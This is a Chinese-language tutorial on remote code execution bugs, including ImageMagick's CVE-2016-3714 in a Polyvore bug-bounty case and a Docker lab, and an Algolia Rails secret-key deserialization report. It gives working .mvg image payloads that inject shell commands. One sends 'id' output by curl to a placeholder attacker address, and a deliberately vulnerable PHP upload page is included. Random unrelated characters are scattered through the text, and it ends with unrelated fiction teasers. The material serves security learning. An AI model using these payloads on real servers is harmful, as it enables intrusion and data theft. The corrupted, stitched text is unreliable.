RCE漏洞實例分析

1. 實例:ImageMagick遠程命令執(zhí)行漏洞在Polyvore的利用

ImageMagick是一個被廣泛用于處理圖片的軟件包钞钙,用于PHP的imagick, Ruby的rmagick和NodeJS的imagemagick竣稽,在ImageMagick的眾多漏洞中谅年,一個遠程代碼執(zhí)行漏洞危害顯著辩恼。

由于ImageMagick沒有處理好傳入的文件名扒寄,并把它最終用于調(diào)用system()方法或杠,攻擊者可以傳入一個可執(zhí)行命令哪怔,類似于 https://example.com"|ls "-la
完整的命令就是:convert 'https://example.com"|ls "-la' out.png

攻擊者還可以按ImageMagick定義的語法構(gòu)造.mvg文件:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

以此為背景,Ben Sadeghipour測試了Polyvore網(wǎng)站向抢,Ben 首先在它所控制的本地機器上測試了該漏洞认境,來確認mvg文件是否正常工作。這是他使用的代碼:

push graphic-context 
viewbox 0 0 640 480 
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`' 
pop graphic-context

它使用了 CURL 庫來調(diào)用 SOMEIPADDRESS(將其修改為你服務(wù)器的地址)挟鸠。如果成功元暴,你就會得到像這樣的響應(yīng):

Response

下面 Ben 瀏覽了 Polyvore,將文件上傳為它的資料頭像兄猩,并在它的服務(wù)器上收到了這個響應(yīng):
Response

Tips1

  • 關(guān)注軟件漏洞茉盏、通用漏洞、CVE...
  • 黑盒測試時關(guān)注圖片上傳功能
  • 閱讀網(wǎng)站所用技術(shù)的文檔

2. 補充:ImageMagick-CVE-2016-3714

影響范圍:ImageMagick 6.9.3-9 以前的所有版本
支持:PHP枢冤、Ruby鸠姨、NodeJS 和 Python
許多網(wǎng)站開發(fā)者喜愛使用 ImageMagick 拓展來做 web 上的圖片處理工作, 比如用戶頭像生成、圖片編輯等淹真。

測試:

環(huán)境:ImageMagick 命令執(zhí)行漏洞(CVE-2016–3714)環(huán)境
poc文件內(nèi)容
poc.png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

本地執(zhí)行

sh-4.3# convert poc.png out.png
total 92
drwxr-xr-x   1 root root  4096 Mar 22 18:40 .
drwxr-xr-x   1 root root  4096 Mar 22 18:40 ..
-rwxr-xr-x   1 root root     0 Mar 22 18:36 .dockerenv
-rw-r--r--   1 root root 12288 Mar 22 18:37 .poc.png.swp
drwxr-xr-x   1 root root  4096 Aug 25  2016 bin
drwxr-xr-x   2 root root  4096 Apr 11  2014 boot
drwxr-xr-x   5 root root   340 Mar 22 18:36 dev
drwxr-xr-x   1 root root  4096 Mar 22 18:36 etc
drwxr-xr-x   2 root root  4096 Apr 11  2014 home
drwxr-xr-x   1 root root  4096 Aug 25  2016 lib
drwxr-xr-x   2 root root  4096 Aug  2  2016 lib64
drwxr-xr-x   2 root root  4096 Aug  2  2016 media
drwxr-xr-x   2 root root  4096 Apr 11  2014 mnt
drwxr-xr-x   2 root root  4096 Aug  2  2016 opt
-rw-r--r--   1 root root   103 Aug 25  2016 poc.png
dr-xr-xr-x 154 root root     0 Mar 22 18:36 proc
drwx------   1 root root  4096 Mar 22 18:40 root
drwxr-xr-x   1 root root  4096 Aug 14  2016 run
drwxr-xr-x   1 root root  4096 Aug 12  2016 sbin
drwxr-xr-x   2 root root  4096 Aug  2  2016 srv
-rwxr-xr-x   1 root root    77 Aug 25  2016 start.sh
dr-xr-xr-x  13 root root     0 Mar 22 18:36 sys
drwxrwxrwt   1 root root  4096 Mar 22 18:40 tmp
drwxr-xr-x   1 root root  4096 Aug 25  2016 usr
drwxr-xr-x   1 root root  4096 Aug 25  2016 var
convert: unrecognized color `https://evalbug.com/"|ls -la"' @ warning/color.c/GetColorCompliance/947.
convert: no decode delegate for this image format `/tmp/magick-CUnxjsCc' @ error/constitute.c/ReadImage/584.
convert: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3164.
sh-4.3#

遠程執(zhí)行
上傳一個簡單圖片上傳頁面到測試環(huán)境docker

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload</title>
</head>
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
<?php
        $filename = $_FILES['file']['name'];
        $type = substr($filename, strrpos($filename, '.')+1);
        if ($type === "jpg" || $type === "png" || $type === "gif") {
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                $imgObject = new Imagick($filename);
        }
?>
</html>
docker cp C:\Users\Cheng\Desktop\test.php (Container ID):/var/www/html

新建test1.png讶迁,上傳至ImageMagick漏洞環(huán)境
ipconfig查看docker NAT適配器ip為10.0.75.1,關(guān)閉本機防火墻

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|curl http://10.0.75.1:8111/GambroHackImageMagick")'
pop graphic-context
submit

主機上使用SimpleHTTPServer監(jiān)聽8111端口
成功收到請求


收到請求

3. 實例: Algolia RCE

報告:https://hackerone.com/reports/134321
使用 Gitrob發(fā)現(xiàn)了Algolia在公開數(shù)據(jù)庫上泄露的Rails secret_key_base

Rails的session cookie形如

session=BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D–dc40a55cd52fe32bb3b8

在-之前的是Base64編碼核蘸,之后的是一個HMAC簽名巍糯,用來校驗前面編碼的正確性,而HMAC簽名的生成需要上面的secret作為輸入客扎。

Rails在接收cookie并驗證簽名的時候祟峦,會將對象反序列化,這個反序列化的過程會造成漏洞徙鱼。

此時已知secret宅楞,攻擊者就可以構(gòu)造一個序列化對象保存成Base64編碼针姿,并正確地簽名。這里可以利用metasploit的Rails Secret Deserialization工具來執(zhí)行任意代碼厌衙。

Tips2

Gitrob——一個查找推送到Github上的公共存儲庫的潛在敏感文件的工具
Rails Secret Deserialization on Metasploit-framework

Reference

Web Hacking 101
ImageMagick-CVE-2016-3714 命令執(zhí)行分析
ImageMagick遠程代碼執(zhí)行漏洞分析
ImageMagick 命令執(zhí)行漏洞(CVE-2016–3714)環(huán)境

Resources

Server-Side Template Injection by James Kettle —— 歸納了各類模板的RCE

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末距淫,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子婶希,更是在濱河造成了極大的恐慌榕暇,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,651評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件喻杈,死亡現(xiàn)場離奇詭異彤枢,居然都是意外死亡,警方通過查閱死者的電腦和手機奕塑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,468評論 3 392
  • 文/潘曉璐 我一進店門堂污,熙熙樓的掌柜王于貴愁眉苦臉地迎上來家肯,“玉大人龄砰,你說我怎么就攤上這事√忠拢” “怎么了换棚?”我有些...
    開封第一講書人閱讀 162,931評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長反镇。 經(jīng)常有香客問我固蚤,道長,這世上最難降的妖魔是什么歹茶? 我笑而不...
    開封第一講書人閱讀 58,218評論 1 292
  • 正文 為了忘掉前任夕玩,我火速辦了婚禮,結(jié)果婚禮上惊豺,老公的妹妹穿的比我還像新娘燎孟。我一直安慰自己,他們只是感情好尸昧,可當(dāng)我...
    茶點故事閱讀 67,234評論 6 388
  • 文/花漫 我一把揭開白布揩页。 她就那樣靜靜地躺著,像睡著了一般烹俗。 火紅的嫁衣襯著肌膚如雪爆侣。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,198評論 1 299
  • 那天幢妄,我揣著相機與錄音兔仰,去河邊找鬼。 笑死蕉鸳,一個胖子當(dāng)著我的面吹牛斋陪,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,084評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼无虚,長吁一口氣:“原來是場噩夢啊……” “哼缔赠!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起友题,我...
    開封第一講書人閱讀 38,926評論 0 274
  • 序言:老撾萬榮一對情侶失蹤嗤堰,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后度宦,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體踢匣,經(jīng)...
    沈念sama閱讀 45,341評論 1 311
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,563評論 2 333
  • 正文 我和宋清朗相戀三年戈抄,在試婚紗的時候發(fā)現(xiàn)自己被綠了离唬。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,731評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡划鸽,死狀恐怖输莺,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情裸诽,我是刑警寧澤嫂用,帶...
    沈念sama閱讀 35,430評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站丈冬,受9級特大地震影響嘱函,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜埂蕊,卻給世界環(huán)境...
    茶點故事閱讀 41,036評論 3 326
  • 文/蒙蒙 一往弓、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蓄氧,春花似錦函似、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,676評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至泄朴,卻和暖如春重抖,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背祖灰。 一陣腳步聲響...
    開封第一講書人閱讀 32,829評論 1 269
  • 我被黑心中介騙來泰國打工钟沛, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人局扶。 一個月前我還...
    沈念sama閱讀 47,743評論 2 368
  • 正文 我出身青樓恨统,卻偏偏與公主長得像叁扫,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子畜埋,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,629評論 2 354